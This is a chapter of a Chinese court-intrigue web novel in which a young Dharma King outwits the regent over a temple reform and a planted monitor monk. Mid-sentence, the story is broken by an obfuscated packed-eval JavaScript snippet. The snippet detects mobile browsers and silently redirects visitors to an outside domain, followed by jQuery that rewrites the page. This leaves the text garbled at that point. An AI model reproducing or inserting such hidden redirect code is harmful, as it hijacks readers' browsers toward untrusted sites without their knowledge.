这事,得从上个分别的清晨说起。
那日张行愿从白杨林绕了最远的路回传喜园,皎双回宫里换上紫袍便传摄政入宫。
摄政府很快来人传达摄政口信——
臣与庵答藏商谈教务至晨暮,恳请足下怜恤,容臣休整片刻。
皎双向来不是易怒之人,对这种刻意的不敬不以为然也习以为常,摄政嘛,不摆架子怎么行,既已混到只手遮天的地步,还随传随到岂不很没面子。
他当然要给摄政面子,自己也回去睡大觉。
午后醒来仍不见摄政来见,他不急不躁,饱饱地吃了顿美美的斋饭,命人备车马磊磊落落地出宫。
立马有僧仆来拦,“佛爷,摄政吩咐……”
他今儿有事,干脆挑明了,“吩咐你们操纵法王?”
僧仆立马倒地,不等他完成一套五体投地的礼拜,管纪律的纠察僧官闻着味儿就赶来了。
但皎双没给人说教的机会,不怒自威说:“来得正好,随我同去摄政府。”
纠察僧官一听,以为是两人约好,不敢再拦,且随着去了。
摄政压根没睡,被外宾庵答藏莺歌燕舞地闹了一宿,天刚亮他就到自家书房处理公务。庵答藏提出要让达汗国僧团来朝求法,这事中断多年了,如今又借着西南战事提上议程。
早些年庵答藏入城学法,违法乱纪的事干了不少,惹得百姓和僧众怨声载道,摄政随顺民意,从此禁止外国僧团入境,算是还给百姓和僧众一个清净。
但马上就要不清净了,庵答藏助他力剿无寂派有功,僧团学法一事他必须答应,不然会伤了两国友谊和宗教感情。
只是庵答藏对佛法不求甚解,僧团入朝学法一事恐怕不怀好意。要怎么学,在哪学,人员上限和人员管制等各各细项,都得一一商榷,摄政便索性把人留在府上,也免得再闹出欺男霸女的事来,对谁都不好交代。
女人,玩物而已,他这有的是,可这庵答藏是个天生的抢匪,不是抢来的不香,昨夜,从环采阁召了个擅长扎念琴的伎艺,又想来强的,莲镶则并不怜惜那女伎,只是当着他的面就这般放肆,摄政之威受到了挑衅。
他知道庵答藏是借着酒疯试探他,有这一回的默许,便有下一回的变本加厉,胆子和胃口都是养出来的,以肉饲狼不如以鞭驯狼。
他便也借着酒疯咒骂那琴声哀怨晦气,借故将女伎赶了出去。
被折腾了一晚上,正闹头疼,听说法王亲临府上,莲镶则必须去迎,随后将法王请到书房,按礼给佛爷让出了主位。
权力在手,面子工夫总是要做足的,以免给政敌落了把柄。这府上啊,还不知有多少政敌的眼线。
莲镶则恭敬合掌礼拜,“臣正打算去奢摩宫,足下怎么亲自来了?”
法王怡然自得地坐上摄政之位,温和的态度也跟着凉薄了几分,“反正我闲人一个,来就来了。我就是突然想起衣茉跟我聊起的一出戏,觉得颇有意思……”
能若无其事地提起衣茉,那份淡定叫他意外,但莲镶则还是忍不住打断,“足下还忘不掉那奸细?”
“衣茉就是衣茉,何必假名奸细?”
那探询的目光更为犀利,“足下法身可还清净?”
“我之法身只属于一人,衣茉从未染指。”
“一人是何人?”
皎双从容得叫人看不出破绽,“我皈依何人便是何人,这是无需商量的事。”
法王自当皈依心佛,摄政对回答还算满意,坐到下人搬来的紫檀木椅上,语含轻慢问:“除去话本,足下与我可有切实要事可谈?”
“那就不说戏,只说大勇寺,大勇寺卖国,自是留不得,不如借此革新,改作广乐(yào)宫,广纳各朝各宗佛子来此辨经论法,也好应了达摩祖师那句‘一花开五叶,结果自然成’,得万民供养,自然得万国来朝,自然得万佛住世,于意云何?”
能掌权且能守权的人定是有所不为又有所作为的,能遵守祖制,容法王金印傍身是有所不为,能以善谋用于善地是有所作为,庵答藏的僧团可算有了个好去处。
“止观修般若,足下常年闭关禅修,生出如此良策。”莲镶则不吝赞扬,面露喜色。
可皎双听出了弦外的警惕。
既说良策,就是认可了,却又疑良策另有出处,疑他背后有人襄助。
为让他老实当个提线玩偶,摄政处心积虑地囚他于宫墙之内,无摄政允许,他见不得人,人亦见不得他,久而久之他身陷孤境,远离政教之务,远离权力中心。
皎双大大方方说:“听衣茉说戏正巧听来的妙法,戏里教人把各派言路收归一处,以唇枪舌剑换刀光剑影,求同存异,各展风采。”
莲镶则忙命人呈递衣茉的供状,翻阅后作了然状,“《空花万行》。”
“是这个,听衣茉说她是这戏中的第一号人物,深得话本先生青睐。”
莲镶则合上案卷,“戏言而已,足下当真?”
这才符合摄政对他不懂政务的期待。
皎双处之泰然说:“适用便是妙法,管它出处在哪,如此一来,两派便有修好之机,以缓外忧内患之危。”
“摄政答应了?”张行愿激动得两眼放光,在他身旁扬起了一脸期待。
川之翎没办成的事,皎双办成了!
他指尖挠着她下巴逗她,“是姑娘睿智,能有这般妙法。”
这么有格局的提案,自然不是张行愿的脑袋瓜能想出来的,是清帝乾隆的创意。
1744年,乾隆帝下旨,将雍和宫改建为格鲁派寺院,由蒙藏活佛轮流驻锡,籍此成为蒙、藏、满三族沟通的桥梁。
那日放鹿归林得罪了摄政,张行愿便想出此良策顺利脱身,如果连乾隆帝的提案都不能采纳,莲镶则和舍离国也是没救了。
她有把握,那日即便没有法王庇护,自己也能安然无恙。
八都先将焦糖溶于热奶中,再朝茶中浇灌,莓子奶茶同样好喝,奶香和茶香挟着淡淡果香飘逸而来,沁人心脾。
张行愿直夸八都是个有天赋的,才学一遍就做得像模像样,还发挥了主观能动性研制了新品。她尝了一口觉得好,就要和皎双分享。
皎双很自然就接过她递来的茶杯,这“糟老头”胡子太密,一沾奶茶就乱七八糟,张行愿忙用衣袖替他拭掉挂须的奶滴。
落在正经八百的八都眼里,又是一场有伤风化。
他转开了脸作非礼勿视,连茶都忘品了。
皎双一见他发愁就笑,“阿弟苦恼什么?是苦恼这茶添奶之后弱化了糖膏里的沙棘味?撒点沙棘粉可亡羊补牢。”
八都依法照做,果然大有助益,果味扑鼻,与茶香和奶香平分秋色。
“佛爷不愧是一切智人。”张行愿乐得坐享其成,贪杯多饮。
八都还是愁眉不展,“阿兄主动提起《空花万行》,这不等于把先生推向险境?”
张行愿一听就心花怒放,“有进步,还知道担心我,但你不用担心我,你多担心点喜儿吧,你今日有想她吗?”
八都嘴角抽搐了下,“正在想。”
转头又问他阿兄,“先生会有危险吗?你别等到那时候才后悔。”
皎双面色如常说:“遮遮掩掩,反而谁都护不住。夫藏天下于天下,则天下不失于天下,藏摄政之危于摄政之身,以其危还于其身,则摄政不来犯也。”
八都未能被说服,不安地直摇头,“从前阿兄数日才出宫一趟,不过三两时辰就遁去,如今为先生频繁离宫,还夜宿宫外,实在危险,摄政不来犯,阿兄也别自招麻烦。”
“我说了,我和摄政已达成了协议。”
张行愿受了影响心里也打鼓了,“到底什么协议?佛爷把话说全。”
这事,得接着中断的话头往下说。
广乐宫提案一完,皎双便命摄政把随行的纠察僧官唤进书房。
纠察恭恭敬敬行礼,对摄政更是多了几分真诚的敬畏,皎双不予计较,也学着那味真诚向摄政倾诉,“我今日差点没能见到摄政,能相信吗?我想见我的摄政,却处处受阻挠。”
也是难得听他这般亲热,还他的摄政呢。
莲镶则饶有兴味问:“怎么回事?”
皎双于是开始了他的表演,话是对纠察说的,打的却是摄政的脸,“但凡我出宫,一个个不是‘摄政吩咐’,就是‘摄政有令’,我时常想,入主奢靡宫的是我,还是‘摄政有令’和‘摄政吩咐?’”
“大胆!”摄政斥的是纠察,恼的是皎双。
不管这一声是冲谁去的,纠察的膝盖立刻就软了,但头还是很铁,朝摄政一顿猛磕。
法王跟着磕头的节奏点了点头,“纠察对摄政忠心耿耿,不如就让他留下为摄政效劳吧。”
纠察不敢置信,头磕到一半就悬住了。
摄政始料未及,浑身散着危险的气息,“足下这是何意?”
何意,他有了想日日相见的人,不愿再消极对抗,也想要主动出击。
他要比川之翎更勇猛坚固,就算节节败
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15852061|174057||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
退也步步奋进。
皎双在案前端坐,若论气势不输半分,若论气节更胜一筹,“摄政府上有的是需要严防盯守的人,纠察,我就不带回奢摩宫了,留给庵答藏吧。”
摄政一拂袖,纠察便自动消失。
莲镶则亲自去锁好了门,回眸时脸色凌厉,是被惹到的表情,“足下何故滋事?”
皎双四平八稳地坐着,无多余的动作和表情,只是态度里多了股耐人寻味的刚毅和强劲。
论虚伪造作当属摄政为最,而坦荡便是对治虚伪的妙法,把事情拿到明面上说,偏不留他矫饰斡旋的余地。
皎双直截了当说:“有寂派政敌林立,庵答藏恋栈不离,摄政处于水深火热之中,还对我诸多提防,摄政不累?”
“足下多虑,修习正法是大事,臣只是不愿足下被俗务耽误梵行,遍寻良师辅助足下,又时刻记挂足下安危,总是多派人手保护圣驾。”
皎双报之以感恩的微笑,“不如我也住进摄政府?这样摄政便可彻底安心了。”
法王住进摄政府,这是开国之玩笑!
别说无寂派,就是有寂派都不能放过他莲镶则,把法王终日留在府上,不是扣押也成扣押了,百姓都饶不了他。
莲镶则皮笑肉不笑地,“足下言重,何以至此。”
皎双笑眯眯地,“那要不,摄政迁来奢摩宫与我同住,我们把庵答藏也请来,这样奢摩宫才真的热闹。”
“荒唐!”莲镶则一拍扶柄而起,想起庵答藏正在府上作客呢,咬着后牙槽不再往下说。
他倒是能忍,该忍气吞声时绝不据理力争。
皎双仍旧堆着笑脸,只是那笑意邪性十足,逸着点唯恐天下不乱的恶质,“摄政息怒,我不懂政事,想到什么便说什么。这样那样都不行,摄政可是有更好的提议?”
莲镶则料想他今日有备而来,也想看看他能掀起多高的风浪,便鼓励他往下说:“足下想点别的,接待外宾之事不劳足下操心。”
“要不这样……”皎双今日诡计多端,“大勇寺无疑是个是非之地,由法王驻锡再合适不过,我来筹谋广乐宫,两派便都能消停些也配合些,摄政觉得呢?”
莲镶则忽而想起这家伙十五岁那年,也是这样跑到摄政府上,要求办个檀那大院。
那年民不聊生,怨声载道,他必须和法王站在一道。
今年两派胶着,外敌觊觎之心已见一二,他也必须和法王站在一道。他和他实是命运共同体,谁倒了另一个就别想好。
“我支持你。”建檀那大院那年,他也是这样对法王说的。
“我最近会经常往摄政府和广乐宫走动,摄政有事可直接问我,就不劳旁人费心了。”
他打定了主意,要把摄政安排到奢摩宫的人,一个一个送还摄政,这是受行愿先生的启发。
往后余生,摄政安排一个他将送还一个,长此以往,难免会引起各派注意,终归是纸包不住火,摄政总是要学会收敛。
摄政当然可以把他困在宫墙之内,可总有法会需要法王露脸,摄政不能困他一辈子,届时他在法会上如何声讨,那绝对是摄政掌控之外的。
想稳坐摄政之位,摄政就不能与他拼个鱼死网破。
想稳坐摄政之位,就归还他本有的生存空间。
张行愿激动得抓住皎双的手腕,“对,一个一个送回去!跟他死磕到底!你做什么都是对的,做什么我都支持!”
皎双瞧着那热烈闪耀的模样,指尖往她唇上贴抚,她不管不顾凑过去亲他,“你振作起来了,真好!”
他握住那手,“是你让我振奋。”
“那纠察呢?”
纠察,真被他留在摄政府了。
因为他说,纠察要回奢摩宫,他就要住摄政府。
该忍还是得忍啊,庵答藏还在府上,犯不着给外国人看笑话,摄政命人去大勇寺给法王精心布置专属禅房了。
“我今晚过去,那里多是无寂派僧徒,摄政暂时不好监管我了。广乐宫和当年的檀那大院一样,全听我安排。”
张行愿打了鸡血,欣喜地捧住那张脸,眉额鼻眼全亲一遍,顾不上什么阿弟的非礼勿视了。
八都替他阿兄高兴,就不计较那些于礼不合了,他从未见过阿兄这般锐意进取,简直变了个人。
原来川之翎对喜儿的喜爱是这样的,她是他可以期待的期待,是他可以寄望的希望,是他绝地中的胜境,是他不幸中的万幸。
是他一生中如影随形永不覆灭的光辉。